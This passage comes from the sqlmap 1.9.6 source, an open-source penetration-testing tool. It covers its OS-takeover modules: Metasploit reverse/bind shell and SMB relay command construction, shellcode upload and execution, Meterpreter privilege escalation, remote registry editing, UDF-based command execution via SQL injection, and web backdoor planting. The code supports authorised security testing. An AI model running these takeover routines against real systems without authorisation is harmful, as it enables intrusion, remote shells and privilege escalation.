"windows/vncinject": self._cliCmd += " DisableCourtesyShell=true" self._cliCmd += " E" else: self._cliCmd = "%s -L -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr) self._cliCmd += "; set EXITFUNC %s" % exitfunc self._cliCmd += "; set LPORT %s" % self.portStr if self.connectionStr.startswith("bind"): self._cliCmd += "; set RHOST %s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self._cliCmd += "; set LHOST %s" % self.lhostStr else: raise SqlmapDataException("unexpected connection type") if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": self._cliCmd += "; set DisableCourtesyShell true" self._cliCmd += "; exploit'" def _forgeMsfCliCmdForSmbrelay(self): self._prepareIngredients(encode=False) if kb.oldMsf: self._cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) self._cliCmd += " EXITFUNC=thread" self._cliCmd += " LPORT=%s" % self.portStr self._cliCmd += " SRVHOST=%s" % self.lhostStr self._cliCmd += " SRVPORT=%s" % self._selectSMBPort() if self.connectionStr.startswith("bind"): self._cliCmd += " RHOST=%s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self._cliCmd += " LHOST=%s" % self.lhostStr else: raise SqlmapDataException("unexpected connection type") self._cliCmd += " E" else: self._cliCmd = "%s -x 'use windows/smb/smb_relay; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr) self._cliCmd += "; set EXITFUNC thread" self._cliCmd += "; set LPORT %s" % self.portStr self._cliCmd += "; set SRVHOST %s" % self.lhostStr self._cliCmd += "; set SRVPORT %s" % self._selectSMBPort() if self.connectionStr.startswith("bind"): self._cliCmd += "; set RHOST %s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self._cliCmd += "; set LHOST %s" % self.lhostStr else: raise SqlmapDataException("unexpected connection type") self._cliCmd += "; exploit'" def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): if kb.oldMsf: self._payloadCmd = self._msfPayload else: self._payloadCmd = "%s -p" % self._msfVenom self._payloadCmd += " %s" % self.payloadConnStr self._payloadCmd += " EXITFUNC=%s" % exitfunc self._payloadCmd += " LPORT=%s" % self.portStr if self.connectionStr.startswith("reverse"): self._payloadCmd += " LHOST=%s" % self.lhostStr elif not self.connectionStr.startswith("bind"): raise SqlmapDataException("unexpected connection type") if Backend.isOs(OS.LINUX) and conf.privEsc: self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true" if kb.oldMsf: if extra == "BufferRegister=EAX": self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format) if extra is not None: self._payloadCmd += " %s" % extra else: self._payloadCmd += " X > \"%s\"" % outFile else: if extra == "BufferRegister=EAX": self._payloadCmd += " -a x86 -e %s -f %s" % (self.encoderStr, format) if extra is not None: self._payloadCmd += " %s" % extra self._payloadCmd += " > \"%s\"" % outFile else: self._payloadCmd += " -f exe > \"%s\"" % outFile def _runMsfCliSmbrelay(self): self._forgeMsfCliCmdForSmbrelay() infoMsg = "running Metasploit Framework command line " infoMsg += "interface locally, please wait.." logger.info(infoMsg) logger.debug("executing local command: %s" % self._cliCmd) self._msfCliProc = execute(self._cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False) def _runMsfCli(self, exitfunc): self._forgeMsfCliCmd(exitfunc) infoMsg = "running Metasploit Framework command line " infoMsg += "interface locally, please wait.." logger.info(infoMsg) logger.debug("executing local command: %s" % self._cliCmd) self._msfCliProc = execute(self._cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False) def _runMsfShellcodeRemote(self): infoMsg = "running Metasploit Framework shellcode " infoMsg += "remotely via UDF 'sys_bineval', please wait.." logger.info(infoMsg) self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval") def _runMsfShellcodeRemoteViaSexec(self): infoMsg = "running Metasploit Framework shellcode remotely " infoMsg += "via shellcodeexec, please wait.." logger.info(infoMsg) if not Backend.isOs(OS.WINDOWS): self.execCmd("chmod +x %s" % self.shellcodeexecRemote, silent=True) cmd = "%s %s &" % (self.shellcodeexecRemote, self.shellcodeString) else: cmd = "\"%s\" %s" % (self.shellcodeexecRemote, self.shellcodeString) self.execCmd(cmd, silent=True) def _loadMetExtensions(self, proc, metSess): if not Backend.isOs(OS.WINDOWS): return send_all(proc, "use espia\n") send_all(proc, "use incognito\n") # This extension is loaded by default since Metasploit > 3.7: # send_all(proc, "use priv\n") # This extension freezes the connection on 64-bit systems: # send_all(proc, "use sniffer\n") send_all(proc, "sysinfo\n") send_all(proc, "getuid\n") if conf.privEsc: print() infoMsg = "trying to escalate privileges using Meterpreter " infoMsg += "'getsystem' command which tries different " infoMsg += "techniques, including kitrap0d" logger.info(infoMsg) send_all(proc, "getsystem\n") infoMsg = "displaying the list of available Access Tokens. " infoMsg += "Choose which user you want to impersonate by " infoMsg += "using incognito's command 'impersonate_token' if " infoMsg += "'getsystem' does not success to elevate privileges" logger.info(infoMsg) send_all(proc, "list_tokens -u\n") send_all(proc, "getuid\n") def _controlMsfCmd(self, proc, func): initialized = False start_time = time.time() stdin_fd = sys.stdin.fileno() while True: returncode = proc.poll() if returncode is None: # Child hasn't exited yet pass else: logger.debug("connection closed properly") return returncode try: if IS_WIN: timeout = 3 inp = b"" _ = time.time() while True: if msvcrt.kbhit(): char = msvcrt.getche() if ord(char) == 13: # enter_key break elif ord(char) >= 32: # space_char inp += char if len(inp) == 0 and (time.time() - _) > timeout: break if len(inp) > 0: try: send_all(proc, inp) except (EOFError, IOError): # Probably the child has exited pass else: ready_fds = select.select([stdin_fd], [], [], 1) if stdin_fd in ready_fds[0]: try: send_all(proc, blockingReadFromFD(stdin_fd)) except (EOFError, IOError): # Probably the child has exited pass out = recv_some(proc, t=.1, e=0) blockingWriteToFD(sys.stdout.fileno(), getBytes(out)) # For --os-pwn and --os-bof pwnBofCond = self.connectionStr.startswith("reverse") pwnBofCond &= any(_ in out for _ in (b"Starting the payload handler", b"Started reverse")) # For --os-smbrelay smbRelayCond = b"Server started" in out if pwnBofCond or smbRelayCond: func() timeout = time.time() - start_time > METASPLOIT_SESSION_TIMEOUT if not initialized: match = re.search(b"Meterpreter session ([\\d]+) opened", out) if match: self._loadMetExtensions(proc, match.group(1)) if "shell" in self.payloadStr: send_all(proc, "whoami\n" if Backend.isOs(OS.WINDOWS) else "uname -a ; id\n") time.sleep(2) initialized = True elif timeout: proc.kill() errMsg = "timeout occurred while attempting " errMsg += "to open a remote session" raise SqlmapGenericException(errMsg) except select.error as ex: # Reference: https://github.com/andymccurdy/redis-py/pull/743/commits/2b59b25bb08ea09e98aede1b1f23a270fc085a9f if ex.args[0] == errno.EINTR: continue else: return proc.returncode except (EOFError, IOError): return proc.returncode except KeyboardInterrupt: pass def createMsfShellcode(self, exitfunc, format, extra, encode): infoMsg = "creating Metasploit Framework multi-stage shellcode " logger.info(infoMsg) self._randStr = randomStr(lowercase=True) self._shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self._randStr) Metasploit._initVars(self) self._prepareIngredients(encode=encode) self._forgeMsfPayloadCmd(exitfunc, format, self._shellcodeFilePath, extra) logger.debug("executing local command: %s" % self._payloadCmd) process = execute(self._payloadCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False) dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X")) pollProcess(process) payloadStderr = process.communicate()[1] match = re.search(b"(Total size:|Length:|succeeded with size|Final size of exe file:) ([\\d]+)", payloadStderr) if match: payloadSize = int(match.group(2)) if extra == "BufferRegister=EAX": payloadSize = payloadSize // 2 debugMsg = "the shellcode size is %d bytes" % payloadSize logger.debug(debugMsg) else: errMsg = "failed to create the shellcode ('%s')" % getText(payloadStderr).replace("\n", " ").replace("\r", "") raise SqlmapFilePathException(errMsg) self._shellcodeFP = open(self._shellcodeFilePath, "rb") self.shellcodeString = getText(self._shellcodeFP.read()) self._shellcodeFP.close() os.unlink(self._shellcodeFilePath) def uploadShellcodeexec(self, web=False): self.shellcodeexecLocal = os.path.join(paths.SQLMAP_EXTRAS_PATH, "shellcodeexec") if Backend.isOs(OS.WINDOWS): self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "windows", "shellcodeexec.x%s.exe_" % "32") content = decloak(self.shellcodeexecLocal) if SHELLCODEEXEC_RANDOM_STRING_MARKER in content: content = content.replace(SHELLCODEEXEC_RANDOM_STRING_MARKER, getBytes(randomStr(len(SHELLCODEEXEC_RANDOM_STRING_MARKER)))) _ = cloak(data=content) handle, self.shellcodeexecLocal = tempfile.mkstemp(suffix="%s.exe_" % "32") os.close(handle) with open(self.shellcodeexecLocal, "w+b") as f: f.write(_) else: self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "linux", "shellcodeexec.x%s_" % Backend.getArch()) __basename = "tmpse%s%s" % (self._randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "") self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename) self.shellcodeexecRemote = ntToPosixSlashes(normalizePath(self.shellcodeexecRemote)) logger.info("uploading shellcodeexec to '%s'" % self.shellcodeexecRemote) if web: written = self.webUpload(self.shellcodeexecRemote, os.path.split(self.shellcodeexecRemote)[0], filepath=self.shellcodeexecLocal) else: written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True) if written is not True: errMsg = "there has been a problem uploading shellcodeexec. It " errMsg += "looks like the binary file has not been written " errMsg += "on the database underlying file system or an AV has " errMsg += "flagged it as malicious and removed it" logger.error(errMsg) return False else: logger.info("shellcodeexec successfully uploaded") return True def pwn(self, goUdf=False): if goUdf: exitfunc = "thread" func = self._runMsfShellcodeRemote else: exitfunc = "process" func = self._runMsfShellcodeRemoteViaSexec self._runMsfCli(exitfunc=exitfunc) if self.connectionStr.startswith("bind"): func() debugMsg = "Metasploit Framework command line interface exited " debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, func) logger.debug(debugMsg) if not goUdf: time.sleep(1) self.delRemoteFile(self.shellcodeexecRemote) def smb(self): Metasploit._initVars(self) self._randFile = "tmpu%s.txt" % randomStr(lowercase=True) self._runMsfCliSmbrelay() if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.uncPath = r"\\\\%s\\%s" % (self.lhostStr, self._randFile) else: self.uncPath = r"\\%s\%s" % (self.lhostStr, self._randFile) debugMsg = "Metasploit Framework console exited with return " debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest) logger.debug(debugMsg) def bof(self): self._runMsfCli(exitfunc="seh") if self.connectionStr.startswith("bind"): self.spHeapOverflow() debugMsg = "Metasploit Framework command line interface exited " debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, self.spHeapOverflow) logger.debug(debugMsg) �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/takeover/registry.py���������������������������������������������������������������0000664�0000000�0000000�00000007375�15022617442�0017653�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os from lib.core.common import openFile from lib.core.common import randomStr from lib.core.data import conf from lib.core.data import logger from lib.core.enums import REGISTRY_OPERATION class Registry(object): """ This class defines methods to read and write Windows registry keys """ def _initVars(self, regKey, regValue, regType=None, regData=None, parse=False): self._regKey = regKey self._regValue = regValue self._regType = regType self._regData = regData self._randStr = randomStr(lowercase=True) self._batPathRemote = "%s/tmpr%s.bat" % (conf.tmpPath, self._randStr) self._batPathLocal = os.path.join(conf.outputPath, "tmpr%s.bat" % self._randStr) if parse: readParse = "FOR /F \"tokens=*\" %%A IN ('REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n" else: readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"" self._batRead = ( "@ECHO OFF\r\n", readParse, ) self._batAdd = ( "@ECHO OFF\r\n", "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData), ) self._batDel = ( "@ECHO OFF\r\n", "REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue), ) def _createLocalBatchFile(self): self._batPathFp = openFile(self._batPathLocal, "w") if self._operation == REGISTRY_OPERATION.READ: lines = self._batRead elif self._operation == REGISTRY_OPERATION.ADD: lines = self._batAdd elif self._operation == REGISTRY_OPERATION.DELETE: lines = self._batDel for line in lines: self._batPathFp.write(line) self._batPathFp.close() def _createRemoteBatchFile(self): logger.debug("creating batch file '%s'" % self._batPathRemote) self._createLocalBatchFile() self.writeFile(self._batPathLocal, self._batPathRemote, "text", forceCheck=True) os.unlink(self._batPathLocal) def readRegKey(self, regKey, regValue, parse=False): self._operation = REGISTRY_OPERATION.READ Registry._initVars(self, regKey, regValue, parse=parse) self._createRemoteBatchFile() logger.debug("reading registry key '%s' value '%s'" % (regKey, regValue)) data = self.evalCmd(self._batPathRemote) if data and not parse: pattern = ' ' index = data.find(pattern) if index != -1: data = data[index + len(pattern):] self.delRemoteFile(self._batPathRemote) return data def addRegKey(self, regKey, regValue, regType, regData): self._operation = REGISTRY_OPERATION.ADD Registry._initVars(self, regKey, regValue, regType, regData) self._createRemoteBatchFile() debugMsg = "adding registry key value '%s' " % self._regValue debugMsg += "to registry key '%s'" % self._regKey logger.debug(debugMsg) self.execCmd(cmd=self._batPathRemote) self.delRemoteFile(self._batPathRemote) def delRegKey(self, regKey, regValue): self._operation = REGISTRY_OPERATION.DELETE Registry._initVars(self, regKey, regValue) self._createRemoteBatchFile() debugMsg = "deleting registry key value '%s' " % self._regValue debugMsg += "from registry key '%s'" % self._regKey logger.debug(debugMsg) self.execCmd(cmd=self._batPathRemote) self.delRemoteFile(self._batPathRemote) �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/takeover/udf.py��������������������������������������������������������������������0000664�0000000�0000000�00000033316�15022617442�0016553�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import dataToStdout from lib.core.common import isDigit from lib.core.common import isStackingAvailable from lib.core.common import readInput from lib.core.common import unArrayizeValue from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import logger from lib.core.data import queries from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import OS from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.exception import SqlmapUserQuitException from lib.core.unescaper import unescaper from lib.request import inject class UDF(object): """ This class defines methods to deal with User-Defined Functions for plugins. """ def __init__(self): self.createdUdf = set() self.udfs = {} self.udfToCreate = set() def _askOverwriteUdf(self, udf): message = "UDF '%s' already exists, do you " % udf message += "want to overwrite it? [y/N] " return readInput(message, default='N', boolean=True) def _checkExistUdf(self, udf): logger.info("checking if UDF '%s' already exist" % udf) query = agent.forgeCaseStatement(queries[Backend.getIdentifiedDbms()].check_udf.query % (udf, udf)) return inject.getValue(query, resumeValue=False, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY) def udfCheckAndOverwrite(self, udf): exists = self._checkExistUdf(udf) overwrite = True if exists: overwrite = self._askOverwriteUdf(udf) if overwrite: self.udfToCreate.add(udf) def udfCreateSupportTbl(self, dataType): debugMsg = "creating a support table for user-defined functions" logger.debug(debugMsg) self.createSupportTbl(self.cmdTblName, self.tblField, dataType) def udfForgeCmd(self, cmd): if not cmd.startswith("'"): cmd = "'%s" % cmd if not cmd.endswith("'"): cmd = "%s'" % cmd return cmd def udfExecCmd(self, cmd, silent=False, udfName=None): if udfName is None: udfName = "sys_exec" cmd = unescaper.escape(self.udfForgeCmd(cmd)) return inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent) def udfEvalCmd(self, cmd, first=None, last=None, udfName=None): if udfName is None: udfName = "sys_eval" if conf.direct: output = self.udfExecCmd(cmd, udfName=udfName) if output and isinstance(output, (list, tuple)): new_output = "" for line in output: new_output += line.replace("\r", "\n") output = new_output else: cmd = unescaper.escape(self.udfForgeCmd(cmd)) inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd)) output = unArrayizeValue(inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last, safeCharEncode=False)) inject.goStacked("DELETE FROM %s" % self.cmdTblName) return output def udfCheckNeeded(self): if (not any((conf.fileRead, conf.commonFiles)) or (any((conf.fileRead, conf.commonFiles)) and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs: self.sysUdfs.pop("sys_fileread") if not conf.osPwn: self.sysUdfs.pop("sys_bineval") if not conf.osCmd and not conf.osShell and not conf.regRead: self.sysUdfs.pop("sys_eval") if not conf.osPwn and not conf.regAdd and not conf.regDel: self.sysUdfs.pop("sys_exec") def udfSetRemotePath(self): errMsg = "udfSetRemotePath() method must be defined within the plugin" raise SqlmapUnsupportedFeatureException(errMsg) def udfSetLocalPaths(self): errMsg = "udfSetLocalPaths() method must be defined within the plugin" raise SqlmapUnsupportedFeatureException(errMsg) def udfCreateFromSharedLib(self, udf, inpRet): errMsg = "udfCreateFromSharedLib() method must be defined within the plugin" raise SqlmapUnsupportedFeatureException(errMsg) def udfInjectCore(self, udfDict): written = False for udf in udfDict.keys(): if udf in self.createdUdf: continue self.udfCheckAndOverwrite(udf) if len(self.udfToCreate) > 0: self.udfSetRemotePath() checkFile(self.udfLocalFile) written = self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary", forceCheck=True) if written is not True: errMsg = "there has been a problem uploading the shared library, " errMsg += "it looks like the binary file has not been written " errMsg += "on the database underlying file system" logger.error(errMsg) message = "do you want to proceed anyway? Beware that the " message += "operating system takeover will fail [y/N] " if readInput(message, default='N', boolean=True): written = True else: return False else: return True for udf, inpRet in udfDict.items(): if udf in self.udfToCreate and udf not in self.createdUdf: self.udfCreateFromSharedLib(udf, inpRet) if Backend.isDbms(DBMS.MYSQL): supportTblType = "longtext" elif Backend.isDbms(DBMS.PGSQL): supportTblType = "text" self.udfCreateSupportTbl(supportTblType) return written def udfInjectSys(self): self.udfSetLocalPaths() self.udfCheckNeeded() return self.udfInjectCore(self.sysUdfs) def udfInjectCustom(self): if Backend.getIdentifiedDbms() not in (DBMS.MYSQL, DBMS.PGSQL): errMsg = "UDF injection feature only works on MySQL and PostgreSQL" logger.error(errMsg) return if not isStackingAvailable() and not conf.direct: errMsg = "UDF injection feature requires stacked queries SQL injection" logger.error(errMsg) return self.checkDbmsOs() if not self.isDba(): warnMsg = "functionality requested probably does not work because " warnMsg += "the current session user is not a database administrator" logger.warning(warnMsg) if not conf.shLib: msg = "what is the local path of the shared library? " while True: self.udfLocalFile = readInput(msg, default=None, checkBatch=False) if self.udfLocalFile: break else: logger.warning("you need to specify the local path of the shared library") else: self.udfLocalFile = conf.shLib if not os.path.exists(self.udfLocalFile): errMsg = "the specified shared library file does not exist" raise SqlmapFilePathException(errMsg) if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"): errMsg = "shared library file must end with '.dll' or '.so'" raise SqlmapMissingMandatoryOptionException(errMsg) elif self.udfLocalFile.endswith(".so") and Backend.isOs(OS.WINDOWS): errMsg = "you provided a shared object as shared library, but " errMsg += "the database underlying operating system is Windows" raise SqlmapMissingMandatoryOptionException(errMsg) elif self.udfLocalFile.endswith(".dll") and Backend.isOs(OS.LINUX): errMsg = "you provided a dynamic-link library as shared library, " errMsg += "but the database underlying operating system is Linux" raise SqlmapMissingMandatoryOptionException(errMsg) self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0] self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1] msg = "how many user-defined functions do you want to create " msg += "from the shared library? " while True: udfCount = readInput(msg, default='1') if udfCount.isdigit(): udfCount = int(udfCount) if udfCount <= 0: logger.info("nothing to inject then") return else: break else: logger.warning("invalid value, only digits are allowed") for x in xrange(0, udfCount): while True: msg = "what is the name of the UDF number %d? " % (x + 1) udfName = readInput(msg, default=None, checkBatch=False) if udfName: self.udfs[udfName] = {} break else: logger.warning("you need to specify the name of the UDF") if Backend.isDbms(DBMS.MYSQL): defaultType = "string" elif Backend.isDbms(DBMS.PGSQL): defaultType = "text" self.udfs[udfName]["input"] = [] msg = "how many input parameters takes UDF " msg += "'%s'? (default: 1) " % udfName while True: parCount = readInput(msg, default='1') if parCount.isdigit() and int(parCount) >= 0: parCount = int(parCount) break else: logger.warning("invalid value, only digits >= 0 are allowed") for y in xrange(0, parCount): msg = "what is the data-type of input parameter " msg += "number %d? (default: %s) " % ((y + 1), defaultType) while True: parType = readInput(msg, default=defaultType).strip() if parType.isdigit(): logger.warning("you need to specify the data-type of the parameter") else: self.udfs[udfName]["input"].append(parType) break msg = "what is the data-type of the return " msg += "value? (default: %s) " % defaultType while True: retType = readInput(msg, default=defaultType) if hasattr(retType, "isdigit") and retType.isdigit(): logger.warning("you need to specify the data-type of the return value") else: self.udfs[udfName]["return"] = retType break success = self.udfInjectCore(self.udfs) if success is False: self.cleanup(udfDict=self.udfs) return False msg = "do you want to call your injected user-defined " msg += "functions now? [Y/n/q] " choice = readInput(msg, default='Y').upper() if choice == 'N': self.cleanup(udfDict=self.udfs) return elif choice == 'Q': self.cleanup(udfDict=self.udfs) raise SqlmapUserQuitException while True: udfList = [] msg = "which UDF do you want to call?" for udf in self.udfs.keys(): udfList.append(udf) msg += "\n[%d] %s" % (len(udfList), udf) msg += "\n[q] Quit" while True: choice = readInput(msg, default=None, checkBatch=False).upper() if choice == 'Q': break elif isDigit(choice) and int(choice) > 0 and int(choice) <= len(udfList): choice = int(choice) break else: warnMsg = "invalid value, only digits >= 1 and " warnMsg += "<= %d are allowed" % len(udfList) logger.warning(warnMsg) if not isinstance(choice, int): break cmd = "" count = 1 udfToCall = udfList[choice - 1] for inp in self.udfs[udfToCall]["input"]: msg = "what is the value of the parameter number " msg += "%d (data-type: %s)? " % (count, inp) while True: parValue = readInput(msg, default=None, checkBatch=False) if parValue: if "int" not in inp and "bool" not in inp: parValue = "'%s'" % parValue cmd += "%s," % parValue break else: logger.warning("you need to specify the value of the parameter") count += 1 cmd = cmd[:-1] msg = "do you want to retrieve the return value of the " msg += "UDF? [Y/n] " if readInput(msg, default='Y', boolean=True): output = self.udfEvalCmd(cmd, udfName=udfToCall) if output: conf.dumper.string("return value", output) else: dataToStdout("No return value\n") else: self.udfExecCmd(cmd, udfName=udfToCall, silent=True) msg = "do you want to call this or another injected UDF? [Y/n] " if not readInput(msg, default='Y', boolean=True): break self.cleanup(udfDict=self.udfs) ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/takeover/web.py��������������������������������������������������������������������0000664�0000000�0000000�00000043612�15022617442�0016552�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import io import os import posixpath import re import tempfile from extra.cloak.cloak import decloak from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import extractRegexResult from lib.core.common import getAutoDirectories from lib.core.common import getManualDirectories from lib.core.common import getPublicTypeMembers from lib.core.common import getSQLSnippet from lib.core.common import getTechnique from lib.core.common import getTechniqueData from lib.core.common import isDigit from lib.core.common import isTechniqueAvailable from lib.core.common import isWindowsDriveLetterPath from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import openFile from lib.core.common import parseFilePaths from lib.core.common import posixToNtSlashes from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import singleTimeWarnMessage from lib.core.compat import xrange from lib.core.convert import encodeHex from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.datatype import OrderedSet from lib.core.enums import DBMS from lib.core.enums import HTTP_HEADER from lib.core.enums import OS from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.enums import WEB_PLATFORM from lib.core.exception import SqlmapNoneDataException from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT from lib.core.settings import EVENTVALIDATION_REGEX from lib.core.settings import SHELL_RUNCMD_EXE_TAG from lib.core.settings import SHELL_WRITABLE_DIR_TAG from lib.core.settings import VIEWSTATE_REGEX from lib.request.connect import Connect as Request from thirdparty.six.moves import urllib as _urllib class Web(object): """ This class defines web-oriented OS takeover functionalities for plugins. """ def __init__(self): self.webPlatform = None self.webBaseUrl = None self.webBackdoorUrl = None self.webBackdoorFilePath = None self.webStagerUrl = None self.webStagerFilePath = None self.webDirectory = None def webBackdoorRunCmd(self, cmd): if self.webBackdoorUrl is None: return output = None if not cmd: cmd = conf.osCmd cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, getUnicode(cmd)) page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True, timeout=BACKDOOR_RUN_CMD_TIMEOUT) if page is not None: output = re.search(r"<pre>(.+?)</pre>", page, re.I | re.S) if output: output = output.group(1) return output def webUpload(self, destFileName, directory, stream=None, content=None, filepath=None): if filepath is not None: if filepath.endswith('_'): content = decloak(filepath) # cloaked file else: with openFile(filepath, "rb", encoding=None) as f: content = f.read() if content is not None: stream = io.BytesIO(getBytes(content)) # string content # Reference: https://github.com/sqlmapproject/sqlmap/issues/3560 # Reference: https://stackoverflow.com/a/4677542 stream.seek(0, os.SEEK_END) stream.len = stream.tell() stream.seek(0, os.SEEK_SET) return self._webFileStreamUpload(stream, destFileName, directory) def _webFileStreamUpload(self, stream, destFileName, directory): stream.seek(0) # Rewind try: setattr(stream, "name", destFileName) except TypeError: pass if self.webPlatform in getPublicTypeMembers(WEB_PLATFORM, True): multipartParams = { "upload": "1", "file": stream, "uploadDir": directory, } if self.webPlatform == WEB_PLATFORM.ASPX: multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE page, _, _ = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False) if "File uploaded" not in (page or ""): warnMsg = "unable to upload the file through the web file " warnMsg += "stager to '%s'" % directory logger.warning(warnMsg) return False else: return True else: logger.error("sqlmap hasn't got a web backdoor nor a web file stager for %s" % self.webPlatform) return False def _webFileInject(self, fileContent, fileName, directory): outFile = posixpath.join(ntToPosixSlashes(directory), fileName) uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) query = "" if isTechniqueAvailable(getTechnique()): where = getTechniqueData().where if where == PAYLOAD.WHERE.NEGATIVE: randInt = randomInt() query += "OR %d=%d " % (randInt, randInt) query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=encodeHex(uplQuery, binary=False)) query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required) payload = agent.payload(newValue=query) page = Request.queryPage(payload) return page def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webPlatform is not None: return self.checkDbmsOs() default = None choices = list(getPublicTypeMembers(WEB_PLATFORM, True)) for ext in choices: if conf.url.endswith(ext): default = ext break if not default: default = WEB_PLATFORM.ASP if Backend.isOs(OS.WINDOWS) else WEB_PLATFORM.PHP message = "which web application language does the web server " message += "support?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not isDigit(choice): logger.warning("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): logger.warning("invalid value, it must be between 1 and %d" % len(choices)) else: self.webPlatform = choices[int(choice) - 1] break if not kb.absFilePaths: message = "do you want sqlmap to further try to " message += "provoke the full path disclosure? [Y/n] " if readInput(message, default='Y', boolean=True): headers = {} been = set([conf.url]) for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I): url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php") if url not in been: try: page, _, _ = Request.getPage(url=url, raise404=False, silent=True) parseFilePaths(page) except: pass finally: been.add(url) url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url) if url not in been: try: page, _, _ = Request.getPage(url=url, raise404=False, silent=True) parseFilePaths(page) except: pass finally: been.add(url) for place in (PLACE.GET, PLACE.POST): if place in conf.parameters: value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place]) if "[]" in value: page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, 